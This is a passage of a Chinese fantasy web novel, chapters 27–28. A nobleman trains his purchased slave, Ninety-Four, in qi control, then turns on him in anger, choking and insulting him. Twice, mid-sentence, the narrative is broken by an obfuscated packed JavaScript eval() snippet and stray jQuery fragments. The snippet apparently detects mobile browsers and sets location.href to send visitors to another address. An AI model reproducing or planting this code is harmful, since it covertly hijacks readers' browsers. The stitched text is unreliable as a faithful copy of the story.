“狗是拿来看我们的,”九十四碗里的菜吃完了,便把碗口朝阮玉山的方向倾斜,“你当然见不到。” 阮玉山瞧见九十四还剩大半米饭的碗往自己这边张过来,便自觉拿起筷子给九十四碗里夹菜:“看你们?” “怕我们跑,怕我们反抗。”九十四说起饕餮谷的狗,神色冷了几分,连吃饭也有些兴致缺缺,咀嚼的频率慢下来,“狗叫声很吵,狗牙很锋利,被咬一口,要掉一块肉。” 阮玉山的视线扫视过他的身体:“你被咬过?” 九十四摇头,目光悬在桌面上几个小菜上,像是回忆起了某些往事:“七十五被咬过。” “你的族人?”阮玉山看出来了,“为了你被咬的?” 九十四嚼了两下嘴,想起嘴里那口饭早被自己咽下去了。他低眼,忽感现在桌上和碗里的,吃的和没吃的,都突然变得寡淡无味起来。 七十五是他的族人,大他两岁,去年被人从谷里买走,现在应该已经死了。 在九十四很小很小的时候,小到百十八和百重三都还没来到他身边时,他跟着七十五一起长大。 一个人当下的模样从来不是经由一瞬间突变而成,途径每条路上刮带走的风沙一点点附着到身上,才能慢慢显现出他的形状。 比如九十四。 他四岁那年的夏日由于太过口渴又身无分文,年纪太小的蝣人无法上斗场捞取打赏,九十四生来要强,不肯向族人伸手讨要对方辛辛苦苦挣来的赏赐,便对驯监身上挂着的水壶打起了心思。 他趁夜用铁丝打开了笼子的锁扣,溜到熟睡的驯监身后,正要伸手偷取驯监随身的水壶,就被跟着溜出来阻止他的七十五攥住胳膊。 七十五要拽他回去,不成想拉扯的时候惊扰了旁边的猎犬,狗吠声一响,七十五护在他身上,自己的小腿却被生生撕咬下一块肉来。他们吵醒了驯监,长长的皮鞭同时就涮到两个人的身上。 蝣人私自出逃和盗窃都是重罪,七十五跪在驯监脚下,磕破了脑袋说偷盗是自己所为,指着九十四说九十四只是一时好奇跟着他偷跑出了笼子。 ——九十四年纪太小了,比七十五小了两岁,七十五不忍心看他受罚。 那晚九十四眼睁睁看着只比自己大两岁的七十五被满是倒刺的鞭子打得皮开肉绽,第二天七十五就被拎着分去了最为劳苦的役区,从此很少和他见面。 偶尔见一次,也是在两拨依次进入斗场的蝣人队伍交接时,那时七十五已长成大哥哥了。 可长大后的七十五身体佝偻,长期的艰苦劳役把他的骨头压得变了形,身子也细瘦矮小,长得不及九十四高大成熟。 九十四偶尔会托驯监给七十五送些吃食,但机会很少很少。在饕餮谷,驯监能帮蝣人采买吃穿,却不能容忍蝣人私相授受。 猎物与猎物之间惺惺相惜,这对商人而言是很危险的。 最后一次听说七十五的消息,是在去年,石役七十五被一个贵公子买走,似乎走得十分心甘情愿——因为那个公子说会给自己买走的蝣人一个干脆的死法。 四岁的九十四就是从那晚学会了蝣人应该要保护比自己弱小的族人的道理,一直记住且执行到现在。 他一直记得七十五的名字和样子,想得到自由之后去找找七十五的去向。纵使对方早已逝世,他也为他立一个埋骨之地。 蝣人不追忆已经离开的族人,这是他们彼此之间不成文的默契。 所有人都清楚,自己的族人离开饕餮谷以后唯一的下场。过多追思故人会增强他们对死亡的恐惧。 这个世上最不能恐惧死亡的就是蝣人。比起命数长短未知的普通人,死亡对蝣人来说是一种无比安稳的未来,一旦逼近二十岁,他们就像赴约一样陆陆续续准备好迎接这个必定的结局。 对于已知的结果,由于恐惧而产生挣扎就会格外悲凉了。 所以蝣人打出生时起就在学习一场亲近死亡的修行,恐惧是万万不能的,就像势必要君临天下的皇帝害怕上朝一样,没有任何意义。 阮玉山瞧九十四吃饭的兴致被自己打破了,便撑着膝盖站起来,绕到九十四身边,觉得自己该补偿点什么。 吃不成饭,那就干点别的。 九十四看他从自己左边绕到右边,刚想问他干什么,就见阮玉山两指一并,稳稳打在他脊侧三寸,又将指尖移到九十四脊骨中央,轻轻一点,随后把掌心覆了上去。 果然不出他所料,九十四骨珠中的玄气野蛮霸道,仅是暂时封住了一处经脉,便汹涌回返。 阮玉山眼神一凛。 他刚刚在一霎之间,隐约感觉到九十四筋脉中另一股玄气在波动。 但是那股波动只有一瞬,还没来得及让他探寻就平息了。 阮玉山再施加玄息去感受,却怎么也找不到九十四骨珠中那多余的一股玄气所在。 莫非是错觉? 他解开那处筋脉的封印,掌心又贴回九十四的后背,热热地感知着九十四身体里那颗骨珠,低头问道:“要不要学学怎么控制玄气?” 九十四在蟹壳青的天色下仰头,长长的卷发覆盖在阮玉山的手背上,他看着阮玉山,像才看见什么新奇玩意儿的动物:“控制玄气?” 阮玉山开始教九十四凝神打坐。 “沉心静气。”阮玉山的教导方法很简单,说得更简单,“先去找你的骨珠。” 对于九十四而言,什么气沉丹田,大小周天,百穴十二筋,一概如天书。倘或要阮玉山照本宣科,不如先回房把九十四从认字教起。 “找到骨珠,再去试着感受它生出的玄气。”阮玉山站在九十四身后,教导起正事儿来倒是不见犯欠儿的影,说话也带了几分肃杀气,想是在军营里呆久了总是教训那些兵油子的缘故,“颈下七寸——骨珠是你的东西,生来该由你支配,没有它左右你的道理。” 他说着,指尖从九十四的后颈缓缓下移,沿着每一处凸起的骨节摸下去,最后定在骨珠的位置:“四肢放轻,八方调气,去控制它。” 九十四一直紧绷的脊背终于在阮玉山的手替他找到骨珠位置时放松了些。 每个玄者骨珠所在的位置都不一样,这是初学者要过的第一个槛,娑婆之中许多玄道门派有不少愚钝的弟子,光是找骨珠就天天打坐,凝神找上个十天半月,再笨些的,找个半年也不是罕见的事。 阮玉山这是给九十四作了弊,仗着自己玄境高,轻而易举摸到了九十四的骨珠,算是抬着九十四过了这个槛。 不过他不觉得自己这是揠苗助长。 凭蝣人的天赋,加上九十四本身的悟性,骨珠这东西顶多坐个半个时辰也就找到了。阮玉山认为自己不过是随手提点,避免双方浪费时间。 并且他毫不怀疑如果九十四知道个中缘由,九十四也会这么认为,同时赞成他这样做。 就像现在。 知道了骨珠的位置,九十四显然整个人都松了口气,按照阮玉山所说,放空身体,摒除思绪,调动浑身血气聚集到那个地方。 他闭着眼,渐渐地好像有一个不断缩小的自己凝出了身影,处在自己的身体中央。 那个缩小的自己有着跟他肉身一样的感知,九十四仿佛看到他的后背变成了白茫茫一片的了无边际的旷野,而旷野的半空,有一颗心脏一般滚烫的珠子在燃烧跃动。 “不要怕它。”阮玉山严厉沉稳的声音在他的头顶响起,后背那个温暖坚硬的手掌始终支撑着他的身体。 阮玉山指尖前推,九十四便挺直了背。 “调整呼吸。”阮玉山一字一句掷地有声,语气中带着惯有的不容反抗的威严,“玄力内收,去约束它!” 九十四眉头紧皱,呼吸愈发不稳。 他越是想要控制那颗骨珠,越是想要收束他的力量,就越能感受到玄气的反噬。 源源不断的强大的玄气从骨珠中喷涌爆发,扰乱他的气息,接连冲破他刚刚形成的微弱的控制。 九十四呼吸逐渐紊乱,额头也淌下了细汗。 忽然,一阵强劲的玄息如涓涓细流注入了他的体内。 那股玄息境界奇高,注入者的力量分外强硬,不容抗拒。九十四刚刚失调的玄气无法抵挡,使得对方的玄息进入他的身体筋脉如入无人之境,肆意游走。 天生排斥外来玄气的入侵,这是每一个玄者的本能。 没有人会喜欢旁者带着致命的杀气侵袭自己的身体。玄气强大,对危险有着天然警觉的蝣人尤甚。 九十四也无法反抗自己的身体。 他蓦地泄了气,蜷缩起身子,手支撑在地面,豆大的汗滴落到紧闭的眼睫上,身体细细颤抖着:“你……不要进来。” 阮玉山蹲下身,将九十四揽靠进自己的胸前。 他没有收回他的玄息,仍在缓慢地将自己的力量注入九十四的体内,以极其轻柔小心的方式探到九十四的骨珠。 奇怪。 一路下来他当真完全没再感受到九十四体内的另一股玄气,只探寻到来自九十四那颗本源骨珠的强大玄力。 难不成自己的感知当真会出错? 九十四靠在他肩上,难受得有些急躁了,一声一声喘着粗气,嗓音却是色厉内荏,虚弱得毫无震慑力:“……你出去!” 阮玉山向下瞥了九十四一眼:“好啊。” 说完非但不出去,还加强了力道。 九十四发出很轻的闷哼,在他怀里挣扎着要起来。 阮玉山一把按住。 “别动。”他另一只手紧紧握着九十四的腰,小臂压在九十四的肚子上,感觉九十四在他怀里几乎薄成一片,随便动动手就能掌控,“忍一忍。” 阮玉山低着眼,目光就没离开过九十四的身体。 他看见九十四额头上布满了细汗,软筋突起的颈下黏上了几缕发丝,衣领处的皮肤更是水光淋漓。 体内几股玄气相冲,九十四短时间的损耗太厉害。 阮玉山抬起压在九十四腰上的手,用掌心抹去了对方脸上的汗,再把九十四脖子上被汗水打湿的头发刨到后方,最后指尖挑开九十四的衣领,低头下去用侧脸挨了挨九十四的额头,似是安抚:“让我帮你。” 九十四体内排斥的力量逐渐微弱了。 一阵似有若无的幽香隐隐从九十四的衣领和脖颈处钻上来,阮玉山将鼻尖抵在九十四的眉骨,手中玄息趁机而上,挟裹着九十四被打乱的玄力,在九十四的体内扫荡,直到九十四的玄气渐次平息,不再抵触他的力量,依随他的方向,任凭他调动。 两股玄息在九十四的体内调和交缠,形成一道柔软又坚硬的屏障,包裹住九十四那颗过于旺盛的骨珠,勉强控制住了它。 少顷,九十四的手动了动。 一只骨节分明的手忽然攀上阮玉山的膝盖。 九十四掌心发力,从阮玉山怀里挣脱,借助阮玉山的身体支撑自己坐回原位。 他重新打好坐,调整呼吸,再次凝聚体内的玄气,试着拿回身体的主控权。 一刻钟后,九十四的玄息在体内开始占据上风。 阮玉山思忖着,一边感触九十四体中玄场的变化,一边悄然将自己的玄息从九十四身体里抽出。 他收回手,仍旧守在九十四身后,瞧见九十四初步学会了掌控筋脉中的玄气走向,便伸出手指,向九十四身前前摸去,直抵到九十四脐下三寸,按着那里,低声循循道:“这里,是下丹田。练功时稳住心神,聚气于此。” 九十四闭眼不言。 阮玉山静静等候着,不过片刻,便感受到对方体内玄气在缓慢下沉,渐渐聚到自己指尖所在。 “悟性不错。” 他又把指尖移到九十四胸腔中间,恰好是方才挑开九十四衣领后的最深处。 九十四的身上的汗水在须臾之间已让寒风吹干,阮玉山的指尖触及那片肌肤,先感到面前这副躯体比之寻常染上更深几分的凉意。 “这里,是膻中穴。”他面不改色地继续教着,指腹往九十四的皮肤上贴近了些,“换用招式时分气于此,调整呼吸,延续耐性。” 接着,他拉拢九十四的衣襟,又把手放在九十四硬挺的侧腰后方:“命门,攻气于此,承托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过阮玉山会点岐黄之术也不是他真的三百六十行样样精通,而是阮府同名满天下的神医钟离善夜有点故交。 满鬼钟离,半神断雨,娑婆两大名医自来有点王不见王的架势,虽说各有各的手段,脾气倒都是一致的古怪。 阮玉山年少时同老太太走访钟离府,天天跟在钟离老头子屁股后头学了点皮毛。 因此他大毛病不会治,小毛病还是能随便看看的。 顺着九十四的手腕,阮玉山的指尖划到九十四的掌心,摸到最后一个穴位:“劳宫。若有人要伤你,便聚气在此,抬手格挡。” 九十四闻声回头,盯着自己被阮玉山按在掌心的地方,鬼使神差地,忽然把手攥紧,像要捉住阮玉山的手指。 阮玉山条件反射地把手抽走。 九十四对着自己抓了个空的拳头一怔,似乎也没明白自己刚才在做什么。 阮玉山也是一样。 抽完手便觉着不对。 他若有所思地抬起眼在九十四发愣的脸上游走两圈,扬唇一笑,伸出手挑开九十四攥在一起的五指,再把指尖点回九十四的劳宫穴,一双丹凤眼懒洋洋地翘起眼尾:“抓吧。” 九十四脸色变了又变。 他总感觉这会儿抓了不对劲,可不抓又不得劲。 阮玉山的指尖搭在他的掌心,点了点,又磨两圈。 九十四别开眼,拢着五指在阮玉山指尖上意思意思挠了两下就起来了。 起来以后越琢磨越不对劲。 阮玉山对他怎么跟逗小猫小狗似的? 他拉拉个臭脸,认为自己又受到了挑衅。 一扭头,阮玉山在后头摸着鼻子暗笑。瞧见九十四拧着个眉毛打量自己,便扬起下巴一脸坦然地对视回去。 天色暗了,阮玉山站在檐下,屋顶的阴影覆盖在他的眉骨上方,衬出他高低起伏的五官。他对着九十四恣意笑着,鼻梁挺拔,唇角微翘。九十四第一次发现这人虽然骨相凌厉,肤色深沉,但单论面容却十分清俊——原来阮玉山的相貌是非常不错的,天然的威严中带着些许柔和,只是平日太不好惹了些,叫人无暇注意他的皮相。 九十四暗中惊觉自己竟然在离开阮玉山之前记住了这个人的容貌。他很少去记得除了族人以外的人的容貌,哪怕是恨之入骨的驯监、谷主,还有许多形形色色来到饕餮谷把他们当货物一样挑来选去的顾客。他不认为这些人值得他浪费自己宝贵的精力去挨个挨个牢记他们的眉眼,他们甚至不配在他的记忆里占有一席之地。 如果有一天曾经在饕餮谷做过驯监的人离开了那里成为普通的家奴,那么九十四走在街上与他们迎面相撞也不会认出他们。饕餮谷的驯监对他而言只是一堆人脸模糊的符号,他不对里面任何一个个体有独特的恨意,他恨的是那个地方。 可是他在这个天色暧昧的傍晚无可避免地记住了阮玉山。阮玉山的神情,动作,眼神,连同这个人宽阔高大的身形一起,掠夺般在他的脑海中留下了无比清晰的印记。 九十四不明白这是为什么。 他只是察觉到一种潜藏的危险,似乎阮玉山留在他灵魂里的印记越是深刻,他身体中本能提醒他快点离开的感觉就越是强烈。 九十四控制不了阮玉山,但是他能控制自己。 他回到房里还想再练练字,可是拿笔写了两下,完全静不下心,阮玉山下午教他的一切都已章法大乱;他想起先前阮玉山塞给他的那幅画还没来得及看,这会儿孤零零摆在桌上,折了一半,晚风吹得那副对折的丹青纸一直响,像是在控诉他拿走了画又不好好对待;他抬脚要绕靠书桌去拿画,蓦地想起自己刚在乱七八糟胡写的那几个字,待会儿若是让阮玉山见了指不定要怎么刻薄。 阮玉山阮玉山,哪里都是阮玉山。 九十四想得心烦,简直不懂怎么偌大天地如今狭隘到只剩下他和一个阮玉山。 这世上那么多的人,那么多的事,还有无数崇山峻岭,书本里的烟雨江南,他的宏图伟志,他努力了十八年的愿望,他族人的诅咒,他一样都没有实现。如今困在这举目四壁的小木屋里,左看是阮玉山,右看还是阮玉山。 这样下去自己什么时候才能做成要做的事? 九十四颇为烦躁地收起席莲生送来的纸笔,四处找寻,竟然在房间一个隐蔽的角落里找到一个落地的小书柜。 想来是前一晚屋子太暗,他没瞧见,否则有机会他一定会守着这个书架一本一本翻阅,看看有没有自己能学习的东西。 他走到书柜前,想找个地方暂时安置他的墨宝。 从剥落斑斓的木漆看,这个书架有些年月了,每一层底木都被厚重的书本压得弯曲,不过架子很干净,几乎没有任何积灰,可见时常有人来打扫收拾。 这上头的书又多又杂,重重叠叠积在一起,挤满了每一个木格,九十四先拿了顶上两本,发觉自己是一个字也看不懂,便原封不动放了回去。 好不容易寻到个空,九十四把手里的宣纸卷了又卷,试着往里塞。 这空不大不小,好似专门为了九十四塞这点宣纸留的,一分一毫的空位都余不出来。 外头响起叮叮当当的动静,是阮玉山下地窖取水,回来收拾碗筷了。 阮玉山这人做起事来总是很有自己的忖度,有时根本不像个贵族世家出来的公子。虽说府邸里动辄数十个下人整天围着伺候惯了,可这并未将他养得懒散,相反他还十分勤快,比方在当下这境况,做饭洗衣他从不矫情,不觉得自己堂堂一州之主锦衣玉食就做不得粗活,这兴许有老太太自小教养的缘故。 可该讲究的时候,他也一点不推诿。比方在饕餮谷,又或是自己府里,他有自己的身份,因此绝不亲自动手脱靴,更遑论给谁铺床叠被,拿来漱口的水更不可能第二次进嘴。该等级森严的时候,谁敢对着他拿乔怠慢,那也得吃不了兜着走。 九十四听见阮玉山洗碗的声音,又想出去看看。 洗碗该怎么洗,热水还是冷水洗,新鲜水还是废水洗,洗的时候先洗碗还是先洗筷,要不要像阮玉山给他洗澡似的放点东西?九十四通通都很感兴趣。 他一着急,塞宣纸卷子时用了点力,把旮旯里一本簿子给挤出来。 九十四捡起来一看,那上面密密麻麻,重复的全是一样的话。 27.草芥 “己卯年四月初十,很饿,出门吃了一只羊。 “己卯年四月十一,在房中看书一天,夜间极饿,出门吃一只羊果腹。 “己卯年四月十二,今天的羊肉嫩,但个小,勉强吃饱。 “己卯年四月十三,今天的羊扑腾得很厉害,险些放跑。 “己卯年四月十四,今天的羊太小。 “己卯年四月十五,今天的羊骨头多肉少。 “己卯年四月十六,今天的羊叫声太过奇怪,还好食用时安静下来。 ……” 九十四越翻越察觉怪异,中间几百行字密密麻麻全是一个人的笔记,整整一本簿子除了写羊还是写羊,不是今天的羊肥了,就是昨天的羊瘦了,他不再一页一页翻下去,直接一把翻到底,看见簿子的最后几页。 “己卯年九月二十五,吃羊的时候听见了羊的哭声。 “己卯年九月二十六,羊有几只脚? 己卯年九月二十七,今天吃的羊喊了我的名字。 “己卯年九月二十八,我开始怀疑羊到底长什么样子。 己卯年九月二十九日,今天这只羊让我感觉很熟悉。 己卯年……” 最后一天的日子没写完,就连记录年份那几个字也写得歪歪扭扭颤颤巍巍,像是执笔之人遭受了巨大的冲击而在此事上难以为继。 九十四眉头紧皱,又往后翻,翻过几处空白,最终看见没有任何日期的一句话。 “我吃的,好像不是羊。” 九十四合上簿子,将它放回原位。 桌上那张丹青纸被夜风刮得沙沙响,似要吹开,又没吹开。 九十四走过去,展开那张下午曾被阮玉山折起来的丹青。 这一方小院的构造极其简单,就跟这间一览无余的房屋一样,因着范围小,九十四坐在桌边,眼前就是屋子大门,门外是檐下安的土灶,阮玉山正点了灯,撸起袖子在灶前烧水。 昏黄的灯光把阮玉山小臂的皮肤照得更深了一个色,九十四看见这人手背盘虬的青筋,一条条的凸起交错,蔓延到精壮的小臂上。阮玉山的手指和掌心他都感受过,虽然修长,但绝不细腻,常年拿枪的手每个指节都有薄茧,抚摸过他身体的时候先传来砂纸般的粗粝感。 这么一双粗糙强大的手,竟然能描出如此细致的丹青。 “看那么久?”阮玉山总是后背长了眼睛似的,不转头也能察觉九十四在他背后干什么。 他双手撑在灶上,两处琵琶骨因此而显得耸立,阮玉山的头发总是束得一丝不苟,发髻梳上去,显得他更高了些,背对九十四时宽阔得像一道黑压压的墙壁。 分明极有压迫感的身板,一开口就没个正形:“下午做饭的时候没看够?” 这种莫名其妙的话九十四一向是左耳进右耳出。 他低头捣鼓手里的那副丹青,问:“画的是我?” 阮玉山的背影一动不动,人也不说话。 灶下的柴火烧得噼啪响。 “是我?”九十四追问。 “不是你。”阮玉山终于开口了,语气平稳,以至于叫人捉摸不透情绪,“是丑八怪,邋遢鬼,万人嫌。” “我不丑,我也不邋遢。”九十四一只胳膊靠在桌上,一只手拿着阮玉山的画,认真又心平气和地说出反驳阮玉山的事实,“只有你一个人嫌我,我的族人和朋友都很喜欢我。” 阮玉山垂下脖子轻笑了一声。 九十四说完一句,还要说第二句。 他不仅给自己平反,他还点评阮玉山:“你才是万人嫌,他们都怕你。” “哦?”阮玉山仰起头看向结满了蜘蛛网却找不到蜘蛛的房梁,仍是不转头面对九十四,“谁怕我?” “饕餮谷的人。” “你也是饕餮谷的人,”阮玉山打断他,语气忽然有些咄咄逼人,“你也怕我?” “我不怕你。” 九十四垂下眼,沉默了片刻,虽然有些迟疑,但还是把话说出口:“我也不喜欢你。” 这话说完,九十四率先蹙紧了眉头。 怕的对立面并不是喜欢。 他不怕阮玉山,可他也不知道自己为什么非要添上多余的一句“不喜欢”,像是很急着要撇清自己和喜欢阮玉山这件事的联系似的。 因此他倏忽安静了。谁知阮玉山竟然也安静了,并且安静的时间更久了。 ——阮玉山也听出来了。 九十四看见阮玉山撑在灶上的手指尖不紧不慢地依次点了几下,接着他听见阮玉山没有情绪的一声哼笑:“那你喜欢谁?你的族人?” 九十四陷入沉思。 他的族人? 百十八和百重三他无疑是喜欢的,他看着他们长大,跟他们一起吃饭睡觉,教他们像人一样生活,他们是他的弟弟,甚至像他的孩子——纵使九十四自己本身也没有多大。 可他并不是喜欢他的每一个族人。他的族人里也有许多奸猾狡诈的,为了一口肉欺压别的族人,为了在斗场拿更多的钱去攻击别的族人并且屡教不改,他不喜欢那样的族人。但如果有一天他能找到解除族人诅咒的方法,九十四照样会选择解救那些他不喜欢的蝣人,一个不落。 他对族人的感情更多是同族相惜,那并不能笼统地叫做喜欢。 九十四没有回答阮玉山,他伸手触摸那张丹青上的自己的脸,想起来自己一开始要问的问题。 “每个人都长这样吗?”九十四问,“长画里这样。” “不是。”这次阮玉山回答得很快很干脆,只是依旧拿个后脑勺对着九十四,“特别扫兴的才长这样——招人恨的也长这样。” 九十四想要的不是这个答案。 他想知道是不是每个人都跟自己一样:两个眼睛一个鼻子一张嘴。是不是每个人的眼睛都长在鼻子上方,鼻子又长在嘴的上方。 他感觉到这个村子包括学堂里的许多人似乎跟他不太一样,可他说不出来到底哪里不一样。好像他们都是正常的,自来就是那个模样,可以只有半个脑袋,也可以整张脸上长满眼睛——这些长相都允许存在,跟他一样是普通人。 九十四还是坚持开口:“你再画一张。” 阮玉山问:“画谁?” 九十四想了想:“今天下午来送纸笔的孩子。” 阮玉山:“不画。” 九十四:“那两个要我赔钱的村民。” 阮玉山:“不画。” 这也不画,那也不画,九十四一头雾水,于是随口试探:“那画席莲生?” 阮玉山微微朝他侧目:“谁是席莲生?” 九十四望着阮玉山不吭声,阮玉山等了片刻,像是反应过来了。 “你的夫子,”阮玉山的语气变得凉悠悠的,很慢条斯理,“画完了你要拿去干什么?和你的挂在一起?” 九十四不明白阮玉山为什么想把他的丹青和席莲生的挂在一起,不过他很尊重阮玉山的想法:“你的画,你想挂就挂。” 他隐隐嗅到一点不对劲,兴许是从他说出“不喜欢”那三个字开始,这点不对劲就在他们两个人之间慢慢扩散了。 而他没有及时驱散,使得现在氛围有些紧张。 “好啊。”阮玉山伸手搅了搅锅里的热水,这是他原本打算今晚烧给九十四沐浴的水。 用手搅完,他指尖挂着水珠,放到眼下捻了捻:“挂完了,我再把刺青给你解了,还你自由。怎么样?” “那很好。” 九十四一听就知道阮玉山又在信口开河。 他不信,不过也不打算忍气吞声,他不是会连续两次让人欺负到头上的蠢蛋。 阮玉山敢说,他就敢回:“你还我自由,我记得你的恩情。” 阮玉山听见这话弯了弯眼睛。 他终于转过来看向九十四,笑吟吟道:“你还想要什么?” “名字。”九十四目不斜视,“你给我取个名字。” 这话他倒是真心的。 他想有个名字,奈何认知有限,中原人怎么取名,哪些字作名,那些字作姓,他一概不清楚,若是随随便便取一个四不像,岂不是跟蝣人九十四这个称谓没有区别? 阮玉山什么都会,什么都能做到最好。九十四想,让他给自己取个名字也会取得很好。 “取名字?”阮玉山半是靠半是坐的挨着灶台,垂眼重复了一遍这几个字,“席莲生问你要名字,你就来找我?真是难为你,还得忍着不喜欢。” 九十四不说话了。 他觉得阮玉山这说法哪里不对,可是仔细一想,每个字都不出错——他确实是因为席莲生问了名字才想给自己取一个,也确实找了阮玉山帮忙,再者,他确实不喜欢阮玉山。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177528|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>细究起来,阮玉山每句话都是正确的。 阮玉山见他不说话,眼神更阴沉了。 既然九十四没话可说,那就别怪他不高兴。 他不高兴,九十四也别想好过。 阮玉山从灶前站起身,大步流星走过来,轻飘飘地夺走九十四手中那副丹青,头也不回地扔进门前灶中:“要我取名字?你知道什么人才配让我取名字?” 九十四仰着头,看向伫立在自己身前的阮玉山。 “我的家奴。”阮玉山俯视着他,眼色冷得不像话,一字一句地问,“你想做吗?” 九十四摇头。 他对旁人的每一个问题都会认真思考过后再进行回答,哪怕是阮玉山这些带着不清不楚的恼意的羞辱——倘或九十四像蔑视驯监那样蔑视阮玉山,他满可以像昨天一样对阮玉山的任何话都充耳不闻,任何问题都视若罔闻。 可是他已渐渐清楚,阮玉山对他并无人格上的轻视,既然如此,他便认为自己也该平等地对待阮玉山。 怎料他这次还没开口,就见阮玉山缓缓弯腰,凑到他面前,低低吐出三个字:“你也配。” 九十四微微一愣。 “自由,名字,恩情?”阮玉山脸色突变,那副傍晚看起来还很顺眼的眉目忽然变得使人憎恶起来,他豁地起身,再不拿正眼瞧九十四,阴沉沉地问,“谁稀罕你的恩?” 九十四的愣怔只有一瞬,此刻他发现阮玉山在他跟前又高大了起来。这样的高大并非是白天教他写字,晚上为他烧水时那副身躯的高大,这完全是在饕餮谷初见那天早上,对方远远高坐在看客席上那股傲慢的高大。 “你喜欢我如何?记恨我又如何?”阮玉山问,“你是观音菩萨还是玉皇大帝,能杀了我还是供奉我?” 阮玉山皮笑肉不笑,和在饕餮谷时的神态如出一辙:“你当你的喜欢是什么?又当我是什么?谁想要你的喜欢?” 九十四的目光冷了。 阮玉山低下头,蓦地伸手,虎口卡住九十四的下颌——他也最是厌恶九十四的这个眼神,像看仇人一样看他,像恨仇人一样面对他一言不发。 既然九十四不说,那就他说。 “什么是自由,你也配在我面前要自由?东南西北你知道怎么走?从这儿走出去你活得到十天吗?名字——什么不三不四的东西跑你面前问上一句你就肝脑涂地。还敢让我给你取名字?”阮玉山卡住九十四的那只手向上用力,抬起九十四的头,“你死了不要紧,别耽误我的事!你真当以为自己多了不得?我还得看你脸色?” 九十四眼角骤缩。 是了,他终于想起来,阮玉山在饕餮谷买走自己时花了整整几十万金子。 他是有用途的,大用途,耗费了这个主顾大把的金银,是阮玉山买回去的猎物。 阮玉山不惜花大价钱买他,是有正事。 听驯监说中土的人最善假以辞色,他同阮玉山不过待了两天,就险些以为对方不是仇人了! 九十四额前的青筋突突地跳,一边是跳阮玉山这些中土来的大老爷们最是心狠手辣,把蝣人抽筋剥皮从不留情;一边跳自己糊涂愚钝,被喂了两口好饭就真像饕餮谷的狗似的没心没肺,以为自己能跟人平起平坐了。 想到这里,他眼中的锐光又平息了。 得多谢阮玉山,一语点醒梦中人,否则他还真快忘了自己原本要干什么。 九十四眼底飞快划过一抹蛰伏的杀意。 “天下众生,不过草芥。”阮玉山的力气大得几乎快把九十四掐死,他的眼角也微微抽搐着,死死盯住九十四漂亮又可恨的脸,“谁的命不是轻如鸿毛,你又自以为你几斤几两?我看你仗着自己几分姿色,分不清主次轻重,看不懂天高地厚了!” 他说完,一把甩开九十四,慢条斯理整理好自己刚才为了给九十四做饭才撸起的袖子:“我告诉你,我在一天,你是我的人;我死了,你是我的鬼。想要自由?等下次投胎,绕着我走。” 九十四被他甩到侧身躬在桌边,半个身躯隐在阴影里。 两个人许久都不言语,只听到屋外灶上的洗澡水煮得沸腾,屋子里九十四大口呼吸着顺气。 半晌,九十四缓过了一口气,从灯下漆黑的阴暗处抬起脸,仰视着阮玉山,眼睛藏在眉骨下的阴影里,嘴角慢慢扬出一个笑。 “是,阮老爷。” 28.赌气 天彻底黑了。 一场不知从何处升起的迷雾逐渐席卷过来。方才院子外的一切还尚能看清,眼下顷刻间便覆盖浓厚的迷障。 大雾四面八方侵袭整个村庄,堪堪到他们院子外便止步不前。 昨晚取回来的那罗迦血果然起了作用。 须臾,远远的,外边传来渺茫的“噗通”声。 像是有什么东西滚进河里。 很快,又传来一声“噗通”声。 不过多久,“噗通”声接二连三,一个又一个无休止地在远处河岸响起。 围村的河流离他们不远,那声音说近不近,说远不远。 近到能让人逐渐清楚地确定确实有东西滚进河里,远到让人无法仔细辨别那些东西究竟是什么。 两个人都不约而同想起衣棚老板在九十四欲往河边洗手时所嘱咐的——每晚都有东西跳进河里。 昨夜他们没听到,兴许是回来的时候太晚,错过了。 现在外面很危险。 九十四收敛眉睫,陷入沉默。 ——但在阮玉山身边,也迟早会死。 他将目光撒向院外,眼中眸光一闪。 阮玉山似是看清他心中所想,二话不说将门踢上,抱着胳膊挡在门前,依旧面目可憎:“滚去睡觉。” 九十四收回视线,直勾勾盯着阮玉山。 那眼神里没有任何的怯懦与仰望,淬满了平静的仇恨和悄无声息的憎恶。 不过九十四没有做出反抗,他像一条蛰伏回窝的毒蛇,一言不发地、缓慢地后退,最终盘踞在自己小小的一方地铺中。 这个夜晚寂静得出奇。九十四靠坐在床下的墙角,就着外头唯一清晰的月光,拿着从席莲生那里得到的开蒙书卷一个字一个字地认真翻阅,颇为心无旁骛;阮玉山则在门前站了一会儿,蹙眉凝视了九十四许久,确定对方这一夜不会再有任何动静,便打开门去到檐下,守着燃烧的柴火坐得一动不动。 灶上的水快烧干了,阮玉山把锅撤走,却往灶里加了柴火,看起来不打算再进屋子。 明亮的火光将他的脸照彻一夜,他前半夜在想九十四脱口而出的那句“不喜欢”,后半夜在想九十四的新名字。 罢了,喜不喜欢也没什么所谓。阮玉山心想,一个蝣人而已,带回红州便要死的,他在乎这些做什么。 这个想法自脑海中萌发时,阮玉山又皱了一下眉,顿感胃里阴沉沉的恶心,什么钝刺扎得他难受。 想是这雾气古怪,干扰他的心智了。 快五更天那会儿阮玉山才不经意往屋子里一瞥,瞧见火盆里的碳就快熄了,九十四蜷缩在地铺上,卷曲的头发遮住他的侧脸,被褥勉强盖到腰际。九十四的手里还拿着一卷没有合上的书。 阮玉山打算回去睡了。 既然他要睡觉,那便理所当然得先换碳。 否则碳烧得旺的时候叫九十四享福,这会儿他要睡了就烧冷碳算怎么个事? 阮玉山认为自己绝不是要给九十四换碳。 他窸窸窣窣烧好了新碳,又去检查了屋子里的排风道,最后拿着他的木枪,回去睡觉时经过九十四的地铺,顺手用枪头把九十四的被子给挑上去,盖住了九十四的肩。 就在这时,九十四警觉地醒了。 一睁眼,瞧见阮玉山锋利的枪头指着他的侧颈。 阮玉山:“……” 九十四目光十分沉静,一如他清醒时那样。 